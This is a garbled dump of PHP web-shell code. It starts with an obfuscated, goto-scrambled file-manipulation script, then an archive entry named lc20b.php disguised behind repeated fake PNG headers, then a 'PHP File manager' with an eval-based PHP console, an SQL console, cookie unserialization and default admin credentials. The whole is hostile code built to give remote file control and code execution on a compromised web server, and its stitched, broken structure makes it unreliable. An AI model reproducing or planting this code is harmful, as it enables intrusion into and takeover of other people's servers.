4\141\x62\x6c\x65\40\x7b\xa\40\40\40\x20\40\40\40\x20\x20\40\40\40\x77\151\x64\164\x68\x3a\40\x31\60\x30\45\73\xa\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x62\157\x72\x64\145\162\x2d\143\x6f\x6c\x6c\x61\x70\x73\145\x3a\x20\x63\x6f\x6c\154\141\160\x73\x65\73\12\40\x20\x20\40\40\x20\40\40\x7d\12\40\40\x20\x20\x20\x20\40\x20\164\x68\54\40\164\x64\40\173\xa\x20\x20\40\40\x20\40\40\40\x20\x20\40\40\x70\141\x64\x64\x69\156\x67\72\x20\x31\60\160\x78\73\12\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x20\164\x65\170\x74\55\141\154\151\x67\156\x3a\x20\x6c\x65\146\164\x3b\xa\x20\40\x20\40\x20\x20\x20\40\x7d\xa\x20\x20\x20\40\40\x20\x20\x20\x74\x68\x20\173\xa\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\x62\141\x63\153\x67\x72\x6f\165\x6e\x64\x2d\143\157\x6c\x6f\x72\72\x20\43\x33\x33\63\x3b\12\x20\40\40\40\40\40\x20\x20\40\x20\40\x20\143\157\154\x6f\162\x3a\x20\x23\102\x42\x38\66\x46\x43\73\xa\40\40\40\x20\x20\40\x20\40\175\12\x20\x20\40\x20\x20\x20\40\40\x74\x72\x3a\x6e\x74\150\x2d\143\x68\151\x6c\144\50\145\x76\145\x6e\x29\x20\173\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\142\x61\143\153\x67\x72\x6f\165\156\144\55\143\157\154\157\162\72\x20\43\62\62\62\x3b\xa\40\40\40\x20\40\40\40\x20\x7d\xa\40\x20\40\x20\x20\x20\x20\x20\x74\x72\x3a\156\164\150\x2d\x63\x68\151\x6c\144\50\157\x64\x64\51\x20\x7b\xa\40\40\40\x20\40\40\x20\x20\40\40\40\x20\x62\141\x63\153\x67\x72\157\165\156\x64\x2d\143\x6f\x6c\x6f\162\72\x20\x23\x31\x32\x31\x32\x31\62\x3b\12\40\x20\40\x20\x20\x20\40\40\x7d\xa\40\x20\40\x20\x20\40\40\x20\x61\40\173\xa\x20\40\40\40\40\x20\x20\40\40\x20\40\40\x63\157\154\x6f\162\72\40\x23\60\63\x44\x41\x43\x36\x3b\xa\40\40\40\40\x20\40\40\x20\x20\40\40\40\164\x65\x78\x74\55\144\x65\143\157\x72\141\x74\151\157\156\72\40\156\x6f\156\x65\73\xa\40\x20\40\40\40\x20\x20\x20\x7d\12\40\40\x20\40\x20\40\x20\x20\141\72\x68\157\166\x65\162\x20\x7b\12\x20\40\40\40\x20\40\x20\40\40\40\40\40\143\x6f\x6c\x6f\x72\x3a\40\x23\102\x42\x38\x36\x46\103\73\xa\40\x20\x20\x20\x20\40\40\x20\x7d\12\40\x20\x20\x20\40\x20\x20\40\x62\x75\x74\x74\x6f\156\40\x7b\xa\40\x20\40\40\x20\x20\x20\40\40\40\40\40\142\x61\143\153\x67\162\157\x75\x6e\x64\55\143\x6f\x6c\157\162\x3a\40\x23\60\63\104\x41\103\66\73\12\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\143\x6f\154\x6f\162\72\40\43\61\62\x31\x32\x31\62\x3b\12\40\40\40\40\40\40\x20\x20\40\40\40\40\142\157\x72\x64\x65\x72\x3a\40\156\157\156\x65\73\xa\40\40\x20\40\40\40\x20\40\x20\40\40\x20\x70\141\x64\144\x69\x6e\x67\72\x20\x31\60\160\170\40\x32\60\160\170\73\xa\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\143\165\x72\x73\x6f\162\72\40\x70\x6f\151\x6e\x74\145\162\x3b\12\40\x20\40\40\x20\40\40\x20\175\12\x20\40\x20\x20\x20\x20\40\40\142\165\x74\164\x6f\156\x3a\150\x6f\166\x65\x72\x20\x7b\xa\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x62\141\143\x6b\147\x72\x6f\165\x6e\144\x2d\x63\157\154\157\x72\x3a\x20\x23\x42\102\70\66\106\103\73\12\x20\40\x20\40\40\x20\40\x20\175\12\40\40\40\x20\40\40\40\x20\164\x65\170\x74\x61\162\145\x61\40\x7b\xa\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\x77\151\x64\164\x68\x3a\40\61\x30\x30\x25\73\12\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x68\145\151\x67\x68\x74\x3a\x20\x34\60\60\x70\170\x3b\12\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\142\141\x63\x6b\147\x72\x6f\x75\x6e\144\x2d\143\157\154\x6f\x72\x3a\40\43\62\62\62\73\12\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\143\157\x6c\x6f\x72\x3a\x20\x23\x45\60\x45\x30\105\x30\x3b\12\40\40\x20\40\40\40\40\x20\40\x20\40\40\142\157\162\x64\145\162\x3a\40\61\160\170\x20\163\157\154\151\144\x20\x23\102\x42\x38\x36\106\x43\73\xa\x20\x20\40\40\x20\40\40\x20\175\xa\x20\40\40\x20\40\x20\40\x20\x69\156\160\165\x74\x5b\x74\x79\160\x65\75\42\146\151\x6c\145\42\135\54\40\x69\x6e\160\165\x74\133\x74\x79\x70\x65\x3d\42\x74\145\x78\164\x22\x5d\x20\x7b\xa\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\143\x6f\x6c\157\x72\72\x20\43\x45\60\x45\x30\105\60\x3b\xa\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x62\x61\x63\x6b\x67\162\x6f\x75\156\144\x2d\143\x6f\154\x6f\162\72\x20\x23\x32\62\x32\x3b\xa\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x62\x6f\x72\144\145\x72\x3a\x20\61\160\x78\x20\163\157\x6c\151\x64\40\x23\x42\x42\x38\x36\x46\x43\x3b\12\x20\x20\x20\40\40\40\x20\x20\40\40\x20\x20\160\141\x64\x64\151\x6e\x67\x3a\40\61\x30\x70\170\x3b\xa\40\x20\x20\x20\x20\40\40\40\x7d\12\40\40\40\x20\40\40\40\40\x2e\x66\157\x72\155\55\x63\x6f\156\164\141\151\156\145\x72\x20\173\12\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\x64\151\x73\x70\154\141\x79\72\40\146\x6c\145\x78\73\xa\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\152\x75\163\x74\x69\x66\x79\x2d\143\157\156\x74\x65\x6e\x74\72\40\x73\160\141\143\x65\x2d\142\145\164\x77\x65\x65\156\73\xa\40\x20\40\40\40\40\40\x20\x20\40\40\x20\155\x61\162\x67\151\156\x2d\142\x6f\164\x74\157\155\x3a\x20\62\60\160\x78\73\xa\40\x20\40\40\x20\40\40\40\175\12\x20\40\40\x20\x20\x20\40\40\56\146\157\x72\155\55\143\157\x6e\x74\x61\151\x6e\x65\162\40\146\157\162\x6d\x20\x7b\12\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\155\141\x72\147\151\156\x2d\162\151\x67\150\164\x3a\40\61\x30\x70\170\73\xa\40\40\40\x20\40\40\x20\40\175\12\40\40\x20\40\74\57\x73\164\x79\154\x65\x3e\xa\74\57\x68\x65\x61\144\x3e\xa\x3c\x62\157\x64\171\x3e\12\40\40\x20\40\x3c\x70\x3e\103\x75\x72\162\x65\156\x74\40\x44\x69\162\145\143\x74\157\162\x79\72\40\74\x61\x20\x68\x72\x65\146\75\42\x3f\x64\151\162\75"; goto dNfEt; VaCVK: F00ue($yGbeW); goto kgUpB; VdQ_5: gEelU: goto vnywD; vu0qH: echo "\40\x20\40\x20\74\146\157\162\x6d\40\x6d\x65\164\x68\157\x64\75\42\x70\157\x73\x74\42\x3e\12\x20\x20\x20\40\40\40\40\40\x3c\x69\156\x70\x75\x74\x20\164\x79\x70\x65\75\42\x68\151\144\x64\145\156\42\x20\156\x61\155\145\75\42\x6f\x6c\144\137\x6e\x61\155\x65\42\x20\166\141\154\165\x65\x3d\42"; goto eM5JY; WbFfl: YWvXO: goto JERaO; IojpW: file_put_contents($EpS2n, ''); goto bLjBn; D1Wgl: uQM_b: goto fI_fT; TG6KR: $Od4Uh = $yGbeW . "\x2f" . basename($_FILES["\146\x69\154\x65"]["\x6e\x61\155\x65"]); goto w3XB_; hzrgv: Tz80I: goto MTOEP; LIdpC: if (!isset($_GET["\145\x64\151\164"])) { goto V5DrG; } goto pGAR0; vnywD: if (!isset($_POST["\x63\x72\145\141\x74\145\x5f\x66\151\x6c\x65"])) { goto Tz80I; } goto uDpFH; VEyk9: $fd8bH = $yGbeW . "\x2f" . $_GET["\144\x65\154\145\164\x65"]; goto ADsYZ; JtHSy: QYVs3: goto vTVYv; hD3PH: if (!isset($_POST["\x75\160\154\157\x61\144"])) { goto zOaYm; } goto TG6KR; kgUpB: echo "\40\40\x20\x20\x20\40\40\40\x3c\x2f\x74\142\157\x64\x79\x3e\xa\40\x20\x20\x20\74\57\164\141\142\x6c\145\76\12\12\x20\40\x20\40\x3c\41\x2d\55\x20\106\x6f\162\x6d\x20\x75\x6e\x74\x75\153\40\162\x65\x6e\x61\x6d\145\x20\146\x69\x6c\145\40\55\55\x3e\12\40\x20\x20\40"; goto Qqd91; fII2j: echo htmlspecialchars($CmNff); goto yzbBN; JuNBA: echo "\x3c\x2f\142\x6f\x64\171\x3e\12\x3c\57\x68\164\155\154\76";PK�jm\�9]�::	lc20b.phpnu�[���‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
